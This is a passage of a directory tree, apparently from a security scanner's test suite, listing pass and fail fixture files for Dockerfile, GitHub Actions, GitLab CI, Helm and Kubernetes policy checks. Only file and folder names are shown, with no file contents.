fake.babel.config.js │ │ │ │ │ ├── mix/ │ │ │ │ │ │ ├── package_json_with_alias/ │ │ │ │ │ │ │ └── package.json │ │ │ │ │ │ └── vite.config.js │ │ │ │ │ ├── package_json/ │ │ │ │ │ │ ├── package_json_with_alias/ │ │ │ │ │ │ │ └── package.json │ │ │ │ │ │ └── package_json_with_aliasify/ │ │ │ │ │ │ └── package.json │ │ │ │ │ ├── rollup/ │ │ │ │ │ │ └── rollup.config.js │ │ │ │ │ ├── snowpack/ │ │ │ │ │ │ └── snowpack.config.js │ │ │ │ │ ├── tsconfig/ │ │ │ │ │ │ └── tsconfig.json │ │ │ │ │ ├── vite/ │ │ │ │ │ │ └── vite.config.js │ │ │ │ │ └── webpack/ │ │ │ │ │ └── webpack.config.js │ │ │ │ └── test_javascript_alias_mapping_strategy.py │ │ │ └── test_alias_mapping_creator.py │ │ ├── test_commons.py │ │ └── test_output.py │ ├── secrets_omitter/ │ │ ├── __init__.py │ │ └── test_secrets_omitter.py │ ├── suppressions_resources/ │ │ └── suppressions.tf │ ├── test_platform_integration.py │ ├── test_resource_code_logger_filter.py │ ├── test_runner_filter.py │ └── utils/ │ ├── __init__.py │ ├── conftest.py │ ├── resources/ │ │ └── existing_file │ ├── test_contextmanagers.py │ ├── test_data_structures_utils.py │ ├── test_docs_generator.py │ ├── test_file_utils.py │ ├── test_http_utils.py │ ├── test_json_utils.py │ ├── test_prompt.py │ ├── test_secrets_utils.py │ ├── test_str_utils.py │ ├── test_tqdm_utils.py │ ├── test_type_forcers.py │ └── test_utils.py ├── config/ │ ├── TestCLIArgs.py │ ├── TestConfigFile.py │ ├── __init__.py │ └── example_TestConfigFile/ │ └── config.yml ├── conftest.py ├── dockerfile/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── example_AddExists/ │ │ │ └── failure/ │ │ │ └── Dockerfile │ │ ├── example_AliasIsUnique/ │ │ │ ├── failure/ │ │ │ │ └── Dockerfile │ │ │ ├── success/ │ │ │ │ └── Dockerfile │ │ │ └── success_platform/ │ │ │ └── Dockerfile │ │ ├── example_ExposePort22/ │ │ │ ├── failure/ │ │ │ │ └── Dockerfile │ │ │ ├── failure_tcp/ │ │ │ │ └── Dockerfile │ │ │ └── success/ │ │ │ └── Dockerfile │ │ ├── example_HealthcheckExists/ │ │ │ ├── failure/ │ │ │ │ └── Dockerfile │ │ │ └── success/ │ │ │ └── Dockerfile │ │ ├── example_MaintainerExists/ │ │ │ └── failure/ │ │ │ └── Dockerfile │ │ ├── example_ReferenceLatestTag/ │ │ │ ├── failure_default_version_tag/ │ │ │ │ └── Dockerfile │ │ │ ├── failure_latest_version_tag/ │ │ │ │ └── Dockerfile │ │ │ ├── success/ │ │ │ │ └── Dockerfile │ │ │ ├── success_multi_stage/ │ │ │ │ └── Dockerfile │ │ │ ├── success_multi_stage_capital/ │ │ │ │ └── Dockerfile │ │ │ ├── success_multi_stage_platform/ │ │ │ │ └── Dockerfile │ │ │ ├── success_multi_stage_scratch/ │ │ │ │ └── Dockerfile │ │ │ └── success_scratch/ │ │ │ └── Dockerfile │ │ ├── example_RootUser/ │ │ │ ├── failure/ │ │ │ │ └── Dockerfile │ │ │ └── success/ │ │ │ └── Dockerfile │ │ ├── example_RunUsingAPT/ │ │ │ ├── failure/ │ │ │ │ └── Dockerfile │ │ │ ├── failure2/ │ │ │ │ └── Dockerfile │ │ │ ├── failure3/ │ │ │ │ └── Dockerfile │ │ │ ├── success/ │ │ │ │ └── Dockerfile │ │ │ ├── success2/ │ │ │ │ └── Dockerfile │ │ │ └── success3/ │ │ │ └── Dockerfile │ │ ├── example_UpdateNotAlone/ │ │ │ ├── failure/ │ │ │ │ ├── Dockerfile │ │ │ │ └── Dockerfile.simple │ │ │ └── success/ │ │ │ └── Dockerfile │ │ ├── example_UserExists/ │ │ │ ├── failure/ │ │ │ │ └── Dockerfile │ │ │ └── success/ │ │ │ └── Dockerfile │ │ ├── example_WorkdirIsAbsolute/ │ │ │ ├── failure/ │ │ │ │ ├── Dockerfile │ │ │ │ └── Dockerfile.simple │ │ │ └── success/ │ │ │ └── Dockerfile │ │ ├── test_AddExists.py │ │ ├── test_AliasIsUnique.py │ │ ├── test_ExposePort22.py │ │ ├── test_HealthcheckExists.py │ │ ├── test_MaintainerExists.py │ │ ├── test_ReferenceLatestTag.py │ │ ├── test_RootUser.py │ │ ├── test_RunUsingAPT.py │ │ ├── test_UpdateNotAlone.py │ │ ├── test_UserExists.py │ │ └── test_WorkdirIsAbsolute.py │ ├── graph_builder/ │ │ ├── __init__.py │ │ ├── checks/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ ├── EnvGitSslNoVerify/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.basic │ │ │ │ │ │ ├── Dockerfile.run.basic │ │ │ │ │ │ ├── Dockerfile.run.quotes │ │ │ │ │ │ ├── Dockerfile.run.shell │ │ │ │ │ │ ├── Dockerfile.run.whitespace │ │ │ │ │ │ └── Dockerfile.wilderness │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── EnvNodeTlsRejectUnauthorized/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.basic │ │ │ │ │ │ ├── Dockerfile.run.basic │ │ │ │ │ │ ├── Dockerfile.run.quotes │ │ │ │ │ │ ├── Dockerfile.run.shell │ │ │ │ │ │ └── Dockerfile.run.whitespace │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── EnvNpmConfigStrictSsl/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.basic │ │ │ │ │ │ ├── Dockerfile.run.basic │ │ │ │ │ │ ├── Dockerfile.run.quotes │ │ │ │ │ │ ├── Dockerfile.run.shell │ │ │ │ │ │ └── Dockerfile.run.whitespace │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── EnvPipTrustedHost/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.envvars │ │ │ │ │ │ └── Dockerfile.run │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── EnvPythonHttpsVerify/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.basic │ │ │ │ │ │ ├── Dockerfile.run.basic │ │ │ │ │ │ ├── Dockerfile.run.quotes │ │ │ │ │ │ ├── Dockerfile.run.shell │ │ │ │ │ │ └── Dockerfile.run.whitespace │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunApkAllowUntrusted/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ └── Dockerfile │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunAptGetAllowUnauthenticated/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ └── Dockerfile │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunAptGetForceYes/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ └── Dockerfile │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunChpasswd/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ └── Dockerfile │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunNpmConfigSetStrictSsl/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.npm │ │ │ │ │ │ ├── Dockerfile.wilderness │ │ │ │ │ │ └── Dockerfile.yarn │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunPipTrustedHost/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.basic │ │ │ │ │ │ ├── Dockerfile.multiline │ │ │ │ │ │ └── Dockerfile.shell │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunRpmNoSignature/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ └── Dockerfile │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunUnsafeCurl/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.combo │ │ │ │ │ │ ├── Dockerfile.long │ │ │ │ │ │ ├── Dockerfile.multiline │ │ │ │ │ │ ├── Dockerfile.shell │ │ │ │ │ │ └── Dockerfile.short │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunUnsafeWget/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.basic │ │ │ │ │ │ ├── Dockerfile.multiline │ │ │ │ │ │ └── Dockerfile.shell │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunUsingSudo/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ └── Dockerfile │ │ │ │ │ ├── fail_multiline/ │ │ │ │ │ │ └── Dockerfile │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ ├── RunYumConfigManagerSslVerify/ │ │ │ │ │ ├── expected.yaml │ │ │ │ │ ├── fail/ │ │ │ │ │ │ ├── Dockerfile.dnf-config-manager │ │ │ │ │ │ ├── Dockerfile.whitespace │ │ │ │ │ │ ├── Dockerfile.wilderness │ │ │ │ │ │ └── Dockerfile.yum-config-manager │ │ │ │ │ └── pass/ │ │ │ │ │ └── Dockerfile │ │ │ │ └── RunYumNoGpgCheck/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail/ │ │ │ │ │ ├── Dockerfile.dnf │ │ │ │ │ ├── Dockerfile.tdnf │ │ │ │ │ ├── Dockerfile.wilderness │ │ │ │ │ └── Dockerfile.yum │ │ │ │ └── pass/ │ │ │ │ └── Dockerfile │ │ │ └── test_yaml_policies.py │ │ └── test_local_graph.py │ ├── image_referencer/ │ │ ├── __init__.py │ │ ├── resources/ │ │ │ ├── Dockerfile.multi_platform │ │ │ ├── Dockerfile.multi_stage │ │ │ └── Dockerfile.simple │ │ ├── test_manager.py │ │ ├── test_provider.py │ │ └── test_runner_dockerfile_resources.py │ ├── resources/ │ │ ├── __init__.py │ │ ├── empty_dockerfile/ │ │ │ └── Dockerfile │ │ ├── expose_port/ │ │ │ ├── fail/ │ │ │ │ └── Dockerfile │ │ │ ├── pass/ │ │ │ │ └── Dockerfile │ │ │ └── skip/ │ │ │ └── Dockerfile │ │ ├── multiline_command/ │ │ │ └── Dockerfile │ │ ├── name_variations/ │ │ │ ├── .Dockerfile │ │ │ ├── Dockerfile.prod │ │ │ └── prod.dockerfile │ │ └── wildcard_skip/ │ │ └── Dockerfile │ ├── test_graph_manager.py │ ├── test_runner.py │ └── test_utils.py ├── generic_json/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── array/ │ │ │ ├── BarAndBazToggleIsTrue.py │ │ │ └── __init__.py │ │ ├── complex/ │ │ │ ├── ValueIsAtLeastTwo.py │ │ │ └── __init__.py │ │ ├── object/ │ │ │ ├── FooExists.py │ │ │ ├── PropHasValue.py │ │ │ └── __init__.py │ │ └── result_config/ │ │ ├── FullEvaluatedKey.py │ │ ├── NoEvaluatedKey.py │ │ ├── PartialEvaluatedKey.py │ │ └── __init__.py │ ├── resources/ │ │ ├── array/ │ │ │ ├── fail/ │ │ │ │ ├── allFalse.json │ │ │ │ └── oneFalse.json │ │ │ └── pass/ │ │ │ └── pass.json │ │ ├── complex/ │ │ │ ├── fail/ │ │ │ │ └── fail.json │ │ │ └── pass/ │ │ │ └── pass.json │ │ ├── object/ │ │ │ ├── fail/ │ │ │ │ ├── noFoo.json │ │ │ │ ├── noProp.json │ │ │ │ └── noValue.json │ │ │ └── pass/ │ │ │ └── pass.json │ │ └── result_config/ │ │ └── github_config.json │ └── test_runner.py ├── generic_yaml/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── array/ │ │ │ ├── BarAndBazToggleIsTrue.py │ │ │ └── __init__.py │ │ ├── complex/ │ │ │ ├── ValueIsAtLeastTwo.py │ │ │ └── __init__.py │ │ └── object/ │ │ ├── FooExists.py │ │ ├── PropHasValue.py │ │ └── __init__.py │ ├── resources/ │ │ ├── array/ │ │ │ ├── fail/ │ │ │ │ ├── allFalse.yaml │ │ │ │ └── oneFalse.yaml │ │ │ └── pass/ │ │ │ └── pass.yaml │ │ ├── complex/ │ │ │ ├── fail/ │ │ │ │ └── fail.yaml │ │ │ └── pass/ │ │ │ └── pass.yaml │ │ └── object/ │ │ ├── fail/ │ │ │ ├── noFoo.yaml │ │ │ ├── noProp.yaml │ │ │ └── noValue.yaml │ │ ├── pass/ │ │ │ └── pass.yaml │ │ └── skip/ │ │ └── skip.yaml │ └── test_runner.py ├── github/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── branch_security/ │ │ │ ├── GithubBranchDisallowDeletions/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.json │ │ │ │ └── pass.json │ │ │ ├── GithubBranchDismissStaleReviews/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.json │ │ │ │ └── pass.json │ │ │ ├── GithubBranchDismissalRestrictions/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.json │ │ │ │ └── pass.json │ │ │ ├── GithubBranchRequireCodeOwnerReviews/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.json │ │ │ │ └── pass.json │ │ │ ├── GithubBranchRequireConversationResolution/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.json │ │ │ │ └── pass.json │ │ │ ├── GithubBranchRequirePushRestrictions/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.json │ │ │ │ └── pass.json │ │ │ ├── GithubBranchRequireStatusChecks/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.json │ │ │ │ └── pass.json │ │ │ ├── GithubDisallowInactiveBranch60Days/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail.json │ │ │ │ └── pass.json │ │ │ ├── GithubRequire2Approvals/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail1.json │ │ │ │ ├── fail2.json │ │ │ │ ├── fail3.json │ │ │ │ └── pass.json │ │ │ └── GithubRequireUpdatedBranch/ │ │ │ ├── expected.yaml │ │ │ ├── fail1.json │ │ │ ├── fail2.json │ │ │ └── pass.json │ │ ├── contribution_access/ │ │ │ ├── GithubMinimumAdminsInOrganization/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail_org_admins.json │ │ │ │ └── pass_org_admins.json │ │ │ ├── GithubRequireOrganizationIsVerified/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail1_org_metadata.json │ │ │ │ ├── fail2_org_metadata.json │ │ │ │ └── pass_org_metadata.json │ │ │ └── GithubRequireStrictBasePermissionsRepository/ │ │ │ ├── expected.yaml │ │ │ ├── fail_org_metadata.json │ │ │ └── pass_org_metadata.json │ │ ├── repo_management/ │ │ │ ├── GithubInternalRepositoryCreationIsLimited/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail1.json │ │ │ │ ├── fail1_org_metadata.json │ │ │ │ ├── fail2.json │ │ │ │ ├── fail2_org_metadata.json │ │ │ │ ├── pass.json │ │ │ │ └── pass_org_metadata.json │ │ │ ├── GithubIssueDeletionIsLimited/ │ │ │ │ ├── expected.yaml │ │ │ │ └── pass.json │ │ │ ├── GithubPrivateRepositoryCreationIsLimited/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail1.json │ │ │ │ ├── fail1_org_metadata.json │ │ │ │ ├── fail2.json │ │ │ │ ├── fail2_org_metadata.json │ │ │ │ ├── pass.json │ │ │ │ └── pass_org_metadata.json │ │ │ ├── GithubPublicRepositoryCreationIsLimited/ │ │ │ │ ├── expected.yaml │ │ │ │ ├── fail1.json │ │ │ │ ├── fail1_org_metadata.json │ │ │ │ ├── fail2.json │ │ │ │ ├── fail2_org_metadata.json │ │ │ │ ├── pass.json │ │ │ │ └── pass_org_metadata.json │ │ │ └── GithubRepositoryDeletionIsLimited/ │ │ │ ├── expected.yaml │ │ │ └── pass.json │ │ └── test_python_policies.py │ ├── resources/ │ │ └── github_conf/ │ │ ├── collaborators/ │ │ │ └── repository_collaborators.json │ │ ├── empty_collabs/ │ │ │ └── repository_collaborators.json │ │ ├── fail/ │ │ │ └── org_security.json │ │ ├── pass/ │ │ │ └── org_security.json │ │ ├── repo/ │ │ │ └── branch_protection.json │ │ ├── repo_no_rules/ │ │ │ └── branch_protection_rules.json │ │ └── webhooks/ │ │ ├── org_webhooks.json │ │ ├── org_webhooks_fail.json │ │ └── repository_webhooks.json │ ├── test_dal.py │ └── test_runner.py ├── github_actions/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── extra_yaml_checks/ │ │ │ ├── JobsStepsConnection.yaml │ │ │ ├── OnPush.yaml │ │ │ └── SimpleAttribute.yaml │ │ ├── graph_checks/ │ │ │ ├── __init__.py │ │ │ ├── resources/ │ │ │ │ ├── ReadOnlyTopLevelPermissions/ │ │ │ │ │ ├── .github/ │ │ │ │ │ │ └── workflows/ │ │ │ │ │ │ ├── default.yaml │ │ │ │ │ │ ├── fail.yaml │ │ │ │ │ │ ├── pass.yaml │ │ │ │ │ │ └── scope.yaml │ │ │ │ │ └── expected.yaml │ │ │ │ └── __init__.py │ │ │ └── test_yaml_policies.py │ │ └── test_extra_checks.py │ ├── conftest.py │ ├── gha/ │ │ └── .github/ │ │ └── workflows/ │ │ ├── bad_workflows_dispatch.yaml │ │ ├── failed.yaml │ │ ├── multi_file.yaml │ │ ├── multiple_on_descendants.yaml │ │ └── on_list.yaml │ ├── graph_builder/ │ │ ├── __init__.py │ │ └── test_local_graph.py │ ├── resources/ │ │ ├── .github/ │ │ │ └── workflows/ │ │ │ ├── bad_format.yaml │ │ │ ├── docker-slsa.yaml │ │ │ ├── empty_jobs.yaml │ │ │ ├── include_none_steps.yml │ │ │ ├── list_workflow_dispatch.yml │ │ │ ├── nested_jobs.yaml │ │ │ ├── netcatreverseshell.yaml │ │ │ ├── off_value.yaml │ │ │ ├── shell_injection.yaml │ │ │ ├── slsa-gen.yaml │ │ │ ├── supply_chain.yaml │ │ │ ├── suspectcurl.yaml │ │ │ ├── unsecure_command.yaml │ │ │ ├── workflow_dispatch.yaml │ │ │ ├── workflow_with_image.yml │ │ │ └── workflow_with_string_container.yml │ │ └── graph.pkl │ ├── test_graph_manager.py │ ├── test_runner.py │ ├── test_runner_auxiliary.py │ ├── test_runner_resource_names.py │ ├── test_runner_with_graph.py │ └── test_schema_validation.py ├── gitlab/ │ ├── __init__.py │ ├── resources/ │ │ └── gitlab_conf/ │ │ ├── fail/ │ │ │ ├── groups.json │ │ │ └── merge_request_approval_conf.json │ │ └── pass/ │ │ ├── groups.json │ │ └── merge_request_approval_conf.json │ └── test_runner.py ├── gitlab_ci/ │ ├── __init__.py │ ├── conftest.py │ ├── resources/ │ │ ├── alternative/ │ │ │ └── .gitlab-ci.yml │ │ ├── curl/ │ │ │ └── .gitlab-ci.yml │ │ ├── images/ │ │ │ └── .gitlab-ci.yml │ │ ├── resource_images/ │ │ │ └── .gitlab-ci.yml │ │ ├── rules/ │ │ │ └── .gitlab-ci.yml │ │ └── two/ │ │ └── .gitlab-ci.yml │ ├── test_resource_names.py │ └── test_runner.py ├── graph_utils/ │ ├── __init__.py │ └── utils.py ├── helm/ │ ├── __init__.py │ ├── runner/ │ │ └── resources/ │ │ ├── image_referencer/ │ │ │ ├── Chart.yaml │ │ │ ├── templates/ │ │ │ │ ├── _helpers.tpl │ │ │ │ ├── deployment.yaml │ │ │ │ ├── service.yaml │ │ │ │ └── serviceaccount.yaml │ │ │ └── values.yaml │ │ ├── infrastructure/ │ │ │ └── helm-tiller/ │ │ │ └── pwnchart/ │ │ │ ├── Chart.yaml │ │ │ ├── templates/ │ │ │ │ ├── _helpers.tpl │ │ │ │ ├── clusterrole.yaml │ │ │ │ └── clusterrolebinding.yaml │ │ │ └── values.yaml │ │ └── schema-registry/ │ │ ├── Chart.yaml │ │ ├── charts/ │ │ │ ├── common-2.0.0.tgz │ │ │ └── kafka-18.1.2.tgz │ │ └── values.yaml │ ├── test_runner.py │ ├── test_runner_image_referencer.py │ └── utils.py ├── kubernetes/ │ ├── __init__.py │ ├── checks/ │ │ ├── __init__.py │ │ ├── example_AllowPrivilegeEscalation/ │ │ │ ├── ds-nginx-ingress-FAILED.yaml │ │ │ ├── nginx-app-FAILED.json │ │ │ ├── oc-deploymentConfig-FAILED.yml │ │ │ ├── oc-deploymentConfig-PASSED.yml │ │ │ ├── pod-runas1000-PASSED.yaml │ │ │ ├── pod-runas1000-malformed-PASSED.yaml │ │ │ ├── pod-to-node-FAILED.yaml │ │ │ └── rootDeployment-PASSED.yaml │ │ ├── example_AllowedCapabilities/ │ │ │ ├── cassandra-FAILED.yaml │ │ │ ├── cronjob-PASSED.yaml │ │ │ ├── cronjob-UNKOWN.yaml │ │ │ └── nginx-deployment-PASSED.yaml │ │ ├── example_AllowedCapabilitiesSysAdmin/ │ │ │ ├── cronjob-PASSED.yaml │ │ │ ├── pod-FAILED.yaml │ │ │ └── pod-FAILED2.yaml │ │ ├── example_ApiServerAdmissionControlAlwaysAdmit/ │ │ │ ├── ApiServerAdmissionControlAlwaysAdmit-FAILED.yaml │ │ │ └── ApiServerAdmissionControlAlwaysAdmit-PASSED.yaml │ │ ├── example_ApiServerAdmissionControlEventRateLimit/ │ │ │ ├── ApiServerAdmissionControlEventRateLimit-FAILED.yaml │ │ │ └── ApiServerAdmissionControlEventRateLimit-PASSED.yaml │ │ ├── example_ApiServerAlwaysPullImagesPlugin/ │ │ │ ├── ApiServerAlwaysPullImagesPlugin-FAILED.yaml │ │ │ └── ApiServerAlwaysPullImagesPlugin-PASSED.yaml │ │ ├── example_ApiServerAnonymousAuth/ │ │ │ ├── ApiServer-AnonymousAuth-False-PASSED.yaml │ │ │ ├── ApiServer-AnonymousAuth-Missing-FAILED.yaml │ │ │ └── ApiServer-AnonymousAuth-True-FAILED.yaml │ │ ├── example_ApiServerAuditLog/ │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerAuditLogMaxAge/ │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerAuditLogMaxBackup/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerAuditLogMaxSize/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerAuthorizationModeNode/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerAuthorizationModeNotAlwaysAllow/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ ├── ApiServer-PASSED-2.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerAuthorizationModeRBAC/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ ├── ApiServer-PASSED-2.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerBasicAuthFile/ │ │ │ ├── ApiServerBasicAuthFile-FAILED.yaml │ │ │ └── ApiServerBasicAuthFile-PASSED.yaml │ │ ├── example_ApiServerEncryptionProviders/ │ │ │ ├── ApiServerEncryptionProviders-FAILED.yaml │ │ │ └── ApiServerEncryptionProviders-PASSED.yaml │ │ ├── example_ApiServerEtcdCaFile/ │ │ │ ├── example_ApiServerEtcdCaFile-FAILED.yaml │ │ │ └── example_ApiServerEtcdCaFile-PASSED.yaml │ │ ├── example_ApiServerEtcdCertAndKey/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerInsecureBindAddress/ │ │ │ ├── api-server-insecure-bind-address-FAILED.yaml │ │ │ └── api-server-secure-bind-address-PASSED.yaml │ │ ├── example_ApiServerInsecurePort/ │ │ │ ├── api-server-insecure-port-FAILED.yaml │ │ │ └── api-server-insecure-port-PASSED.yaml │ │ ├── example_ApiServerKubeletClientCertAndKey/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerKubeletHttps/ │ │ │ ├── ApiServer-FAILED.yaml │ │ │ ├── ApiServer-PASSED-2.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerNamespaceLifecyclePlugin/ │ │ │ ├── ApiServerNamespaceLifecyclePlugin-FAILED.yaml │ │ │ └── ApiServerNamespaceLifecyclePlugin-PASSED.yaml │ │ ├── example_ApiServerNodeRestrictionPlugin/ │ │ │ ├── ApiServerNodeRestrictionPlugin-FAILED.yaml │ │ │ └── ApiServerNodeRestrictionPlugin-PASSED.yaml │ │ ├── example_ApiServerPodSecurityPolicyPlugin/ │ │ │ ├── ApiServerPodSecurityPolicyPlugin-FAILED.yaml │ │ │ └── ApiServerPodSecurityPolicyPlugin-PASSED.yaml │ │ ├── example_ApiServerProfiling/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerRequestTimeout/ │ │ │ ├── api-server-request-timeout-FAILED.yaml │ │ │ └── api-server-request-timeout-PASSED.yaml │ │ ├── example_ApiServerSecurePort/ │ │ │ ├── api-server-secure-port-FAILED.yaml │ │ │ ├── api-server-secure-port-PASSED.yaml │ │ │ └── api-server-secure-port-PASSED_2.yaml │ │ ├── example_ApiServerSecurityContextDenyPlugin/ │ │ │ ├── ApiServerSecurityContextDenyPlugin-FAILED.yaml │ │ │ └── ApiServerSecurityContextDenyPlugin-PASSED.yaml │ │ ├── example_ApiServerServiceAccountKeyFile/ │ │ │ ├── ApiServerServiceAccountKeyFile-FAILED.yaml │ │ │ └── ApiServerServiceAccountKeyFile-PASSED.yaml │ │ ├── example_ApiServerServiceAccountLookup/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerServiceAccountPlugin/ │ │ │ ├── ApiServerServiceAccountPlugin-FAILED.yaml │ │ │ └── ApiServerServiceAccountPlugin-PASSED.yaml │ │ ├── example_ApiServerStrongCryptographicCiphers/ │ │ │ ├── ApiServerStrongCryptographicCiphers-FAILED.yaml │ │ │ └── ApiServerStrongCryptographicCiphers-PASSED.yaml │ │ ├── example_ApiServerTlsCertAndKey/ │ │ │ ├── ApiServer-FAILED-2.yaml │ │ │ ├── ApiServer-FAILED-3.yaml │ │ │ ├── ApiServer-FAILED.yaml │ │ │ └── ApiServer-PASSED.yaml │ │ ├── example_ApiServerTokenAuthFile/ │ │ │ ├── ApiServerTokenAuthFile-FAILED.yaml │ │ │ └── ApiServerTokenAuthFile-PASSED.yaml │ │ ├── example_ApiServerkubeletCertificateAuthority/ │ │ │ ├── ApiServerkubeletCertificateAuthority-FAILED.yaml │ │ │ └── ApiServerkubeletCertificateAuthority-PASSED.yaml │ │ ├── example_ControllerManagerBindAddress/ │ │ │ ├── ControllerManagerBindAddress-FAILED-2.yaml │ │ │ ├── ControllerManagerBindAddress-FAILED.yaml │ │ │ └── ControllerManagerBindAddress-PASSED.yaml │ │ ├── example_DangerousGitSync/ │ │ │ ├── Deployment-FAILED.yaml │ │ │ ├── Deployment-PASSED.yaml │ │ │ └── Deployment2-FAILED.yaml │ │ ├── example_DefaultNamespace/ │ │ │ ├── default-k8s-service-and-sa-PASSED2.yaml │ │ │ ├── nginx-statefulset-FAILED.yaml │ │ │ └── scope-PASSED.yaml │ │ ├── example_DefaultServiceAccount/ │ │ │ ├── DefaultServiceAccount-FAILED.yaml │ │ │ ├── DefaultServiceAccount-FAILED2.yaml │ │ │ └── DefaultServiceAccount-PASSED.yaml │ │ ├── example_DefaultServiceAccountBinding/ │ │ │ ├── DefaultServiceAccountBinding-FAILED.yaml │ │ │ └── DefaultServiceAccountBinding-PASSED.yaml │ │ ├── example_DockerSocketVolume/ │ │ │ ├── CronJob-pass.yaml │ │ │ ├── cloudwatch-agent-1PASSED-1FAILED.yaml │ │ │ ├── scope-2PASSED-1FAILED.yaml │ │ │ └── scope-UNKNOWN.yaml │ │ ├── example_DropCapabilities/ │ │ │ ├── pod-drop-NET_RAW-capabilities-FAILED-MISSING.yaml │ │ │ ├── pod-drop-NET_RAW-capabilities-PASSED.yaml │ │ │ ├── pod-drop-all-capabilities-PASSED.yaml │ │ │ ├── pod-drop-all-capabilities-PASSED2.yaml │ │ │ └── pod-drop-none-FAILED.yaml │ │ ├── example_EtcdAutoTls/ │ │ │ 